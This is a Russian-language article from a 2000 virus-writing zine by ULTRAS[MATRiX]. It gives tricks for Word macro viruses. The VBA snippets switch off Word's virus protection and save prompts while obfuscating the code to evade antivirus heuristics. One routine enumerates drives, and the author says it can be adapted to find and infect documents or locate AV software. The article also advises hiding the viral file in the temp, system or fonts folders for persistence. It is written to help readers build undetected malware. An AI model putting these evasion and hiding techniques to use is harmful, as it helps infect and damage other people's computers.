Macr0 Trick II - 13:07 - by Ultras
 
   Это  продолжение статьй которая была опубликована в Top Device за май.
Я очень коротко опишу всякие феньки для макро вирусов...

Оглавление
~~~~~~~~~~

1. АнтиХеристика

2. Поиск по дискам
   (util source)

3. Temp директория



АнтиХеристика
*************

   Решил я написать вир который бы не дектился AV, пришлось не сладко, но
всетаки я его написал. Теперь о том что я использовал в моем вирусе....

Вот у вас например в вирусе есть строка типа:

Options.Virusprotection = False

отключение w0rd virus protection...
Это строку надо поменять на что нибудь типа:

Set suxOption = Options
 suxOption.VirusProtection = False

Это  уже  лучше...  только  блин False все портит надо его заменить...
Если в w0rd`е:

false = 0
true  = 1

   то  прото  нам  надо  сгенерировать число например 225 и вычистить 225
получиться 0 тоесть false...

num = Int(Rnd * 5) + 1
'<= генерируем любое число от 0 до 5
Set suxOption = Options
'<= ставим метку
suxOption.VirusProtection = (num-num)
'<= отключаем w0rd virus protection

   так  уже  сложнее будет av. Теперь если в вмрусе повторяются команды с
Options ну типа:

Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Options.Virusprotection = False

Это можно оптимизировать...

num = Int(Rnd * 5) + 1
'<= генерируем любое число от 0 до 5
Set suxOption = Options
'<= ставим метку
With suxOption
'<= используем метку
     .ConfirmConversions = (num-num)
'<= отключаем плохие функций w0rd
     .SaveNormalPrompt = (num-num)
     .VirusProtection = (num-num)
End With

   Конечно  тут  нужно  использовать  полиморфик который бы менял метки и
каждый  раз  генерировал  новые,  но это я опишу в следующий раз. Главное
чтобы код вируса был не похож на остальные виры...


Поиск по дискам
~~~~~~~~~~~~~~~
   Когда  я начал писать статью я закончил вещь которая искала и заражала
доки  во всех каталогов всех дисков. Написал я специально для этой статьй
маленькую программу которая показывает состояние диска.

Вот что нам понадобится:

' 2 api функций виндов
Declare Function GetLogicalDriveStrings Lib "Kernel32" Alias "GetLogicalDriveStringsA" _
(ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" _
(ByVal nDrive As String) As Long

'GetDriveType константы прямо как в win32
Public Const DRIVE_REMOVABLE = 2
Public Const DRIVE_FIXED = 3
Public Const DRIVE_REMOTE = 4
Public Const DRIVE_CDROM = 5
Public Const DRIVE_RAMDISK = 6

'Сама программа
'**************
'Программа показывает какие диски у вас есть на машине.
'Это программу вы можите переделать под поиск на диске
'например mIRC каталога,
'AV программ и много другого.

Sub UltraDisk()
'UltraDisk by ULTRAS[MATRiX]
'(c) 13 julu 2000
Dim Drive$, DriveType$, yz&
Dim Success&, x&, y&, z&
Dim DriveLetters As String * 256
On Error Resume Next
Dim Msg As String
    DriveLetters = 255
    Success = GetLogicalDriveStrings(255, DriveLetters)
    Do
        x = y + 1
        z = z + 1
        y = InStr(x, DriveLetters, "\")
        Drive = Mid$(DriveLetters, y - 2, 3)
        yz = GetDriveType(Drive)
        Select Case yz
        Case 2: DriveType = "removable drive."
        Case 3: DriveType = "fixed drive."
        Case 4: DriveType = "remote drive."
        Case 5: DriveType = "CDROM drive."
        Case 6: DriveType = "ramdisk."
    End Select
    MsgBox "Drive " & Drive & " is a " & DriveType, vbOKOnly + vbInformation, "UltraDisk by ULTRAS[MATRiX]"
    Loop Until y = 0
End Sub


TEMP Directory
~~~~~~~~~~~~~~

   Если  вы  используете при заражений EXPORT/IMPORT файл(вирусный файл),
то  для  скрытия  своего  вируса  в системе лучше всего не бросать файл в
корень  диска  C,  а кидать вирусный файл туда где его точно не найдут. У
меня  многие  знакомые  имеют директорию Windows/temp по 29 мегов это для
них  не  предел и не херят там файлы, так что вирус у такого пользователя
долго продержиться.

Маленький исходник как получить путь к temp директории.

Declare Function GetTempPath Lib "Kernel32" Alias "GetTempPathA" _
(ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long


Private Sub cGetTempPath()
Dim Success&, TempDir$
    TempDir = Space(255)
    Success = GetTempPath(255, TempDir)
    MsgBox "Temp директория находиться : " & TempDir, vbOKOnly + vbInformation
End Sub

   Лучше всего для вирусов которые используют EXPORT/IMPORT файл(вирусный
файл)  копировать  свое  тело  в  несколько  мест:  например  в  windows,
windows/system,  windows/temp  или  лучше  как шрифт в fonts каталог:). А
потом проверять на наличе вирусного файла в этих каталогах.


 ULTRAS[MATRiX]
  8 июня 2000